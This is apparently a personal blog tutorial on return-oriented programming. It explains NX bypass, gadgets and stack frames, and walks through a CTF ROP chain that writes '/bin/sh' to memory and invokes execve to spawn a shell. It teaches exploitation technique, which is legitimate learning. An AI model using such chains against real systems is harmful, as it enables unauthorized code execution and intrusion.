ROP Exploits
ROP
ROP stands for Return-Oriented Programming. It is primarily used to defeat DEP/NX/W^X (Data Execution Prevention/No Execute/Write xor Execute) mitigations in processors. Different manufacturers have different names for this particular feature, but the idea is to mark certain areas of memory (notably stack and heap) as non-executable. This makes attempts to execute instructions from areas marked as non-executable cause an exeception (SEGFAULT).
This mitigates generic buffer overflow attacks, which usually involve writing some shellcode into memory (usually the stack) and overwriting the saved return pointer or some other way to jump to the shellcode and execute it. Since the stack is marked as non-executable, the shellcode is not executed and a SEGFAULT is raised.
The ELF format has a field which specifies if the stack should be marked as executable or not (the -z execstack
flag in gcc
disables NX, making the stack executable). Thus, is referred to as having the NX bit set.
NX bit set:
NX bit not set:
The binary that has the NX bit set, has its stack and heap marked as rw-
, meaning read, write and not execute. Whereas the binary without the NX bit, has its stack and heap marked as rwx
, meaning read, write and execute. Your shellcode should have no problem getting executed here!
Using ROP to Bypass Mitigations
Since we cannot execute instructions from the stack/heap when NX is enabled, we try to pick the instructions we need to achieve our goal (usually to get a shell) from the binary or any of the libraries that the binary uses. These instructions are part of the program’s executable memory and should execute just fine.
The general idea of ROP exploits come from a Linux-specific exploitation technique known as ret2libc
(return to libc). In the ret2libc
technique, usually using a buffer overflow, the saved return pointer is overwritten to pass execution to some function present in libc, like maybe system()
with the argument /bin/sh
to get a shell.
ROP Gadgets
ROP gadgets are small sets of instructions which usually end with a ret
instruction. These gadgets are put together to form ROP chains. After execution, the gadget returns to the next gadget in the chain. The reason this technique is called return-oriented programming should be apparent now!
Examples of gadgets:
Using the handy ropper
tool right from GDB (another feature provided by GEF, check it out, its amazing!), to find ROP gadgets.
This particular gadget is where the name of this blog, as well as my alias come from. It pop
’s whatever the stack pointer is currently pointing to, into the RDI register, which according to the x64 calling convention, holds the first argument for a function call/syscall.
There’s potential to do a lot creative things with the gadgets available in a binary.
Here’s the interesting thing about gadgets: They could mean different things when accessed from different offsets!
Example:
Consider the gadget at 0x0000000000401b73
. Looking at the opcode at this location:
The opcode 5F C3
, in x64 translates to:
pop rdi
ret
Going back one byte:
Now the opcode 41 5F C3
, in x64 translates to:
pop r15
ret
So, depending on the offset we access the instructions from, they could mean different things. This makes a wide variety of gadgets available to us for doing various things. Here is GDB confirming the same:
ROP Chains
The general idea of a ROP chain is to pass execution to the start of the chain, and then the gadgets, since they end with the ret
instruction, return to the next instruction in the chain.
It is important to understand the function prologue and epilogue to fully understand the workings of a ROP exploit.
Function Prologue
Function prologue is a few lines of code executed before the function called is executed, to prepare the stack and registers for use within the function. Typically it goes something like this:
push rbp ; save the value of rbp
mov rbp, rsp ; rbp now points to the top of the stack
sub rsp, 24 ; allocate space on the stack for local variables, say 3 integers
Function Epilogue
Function epilogue is reverses whatever the function epilogue has done and returns control to the callee function. A typical epilogue looks like:
mov rsp, rbp ; rsp now points to the saved ebp
pop rbp ; restore rbp and decrement rsp by 8
; the rsp points to the saved return
; pointer now, ret instruction pops it back
; into rip and execution continues from there
ret
The return instruction is equivalent to pop eip
.
This is a ROP chain to get a shell via an execve()
syscall from an old CTF challege I worked on:
#### GADGETS ####
# 0x0000000000415664: pop rax; ret;
pop_rax = 0x0000000000415664
# 0x0000000000400686: pop rdi; ret;
pop_rdi = 0x0000000000400686
# 0x00000000004101f3: pop rsi; ret;
pop_rsi = 0x00000000004101f3
# 0x000000000044be16: pop rdx; ret;
pop_rdx = 0x000000000044be16
# 0x000000000048d251: mov qword ptr [rax], rdx; ret;
mov_rax = 0x000000000048d251
# 0x000000000040129c: syscall;
syscall = 0x000000000040129c
#### ROP CHAIN ####
# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)
# execve syscall
# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)
# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)
# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)
# syscall
payload += p64(syscall)
This part writes the string /bin/sh
into memory. The location 0x6bb5e0
in the bss section seemed fairly safe to write the string to. The saved return pointer is overwritten with the start of the ROP chain:
# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)
Just before the subroutine returns, the RSP points to the start of the ROP chain (overwritten saved return pointer).
The value pointed by the RSP is popped into RIP when ret
is executed and RSP is decremented by 8.
When pop rax
is executed, the value pointed to by RSP is popped into RAX and RSP is decremented by 8.
When ret
from the pop rax
gadget is executed, the address of the next gadget where RSP currently points to, is popped into RIP and the execution continues from there. The RSP is decremented by 8. The ret
instruction is a crucial part.
Continuing, the string /bin/sh
is popped into the RDX register and the mov_rax
gadget moves a qword from the RDX register to the location pointed to by the RAX register. Now that we have the string in memory, we just need to invoke the syscall to get our shell.
In x86-64 architecture, the syscall number goes in the RAX register and the arguments go in RDI, RSI, RDX, R10, and so on. Check the syscall man page for the full info. The syscall number for execve
is 59 or 0x3B in hex. We pop that into RAX:
# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)
The first argument is the pointer to the /bin/sh
string in memory, we pop that into RDI:
# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)
The next two arguments are null and thus popping null bytes into RSI and RDX registers.
# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)
Finally the syscall:
# syscall
payload += p64(syscall)
We achieved the goal of getting a shell only with the instructions available in the program’s executable memory, thus defeating the NX mitigation.
Examples
I will link interesting CTF challenge writeups that involve ROP here, as I post them.
Disclaimer: Everything on this site is for educational purposes only. If you’re looking to hack into unauthorized systems or do something illegal, please look elsewhere.
Thank you for reading. Constructive criticism, feedback and suggestions welcome! My email is in the about page, feel free to get in touch.
- 0x5FC3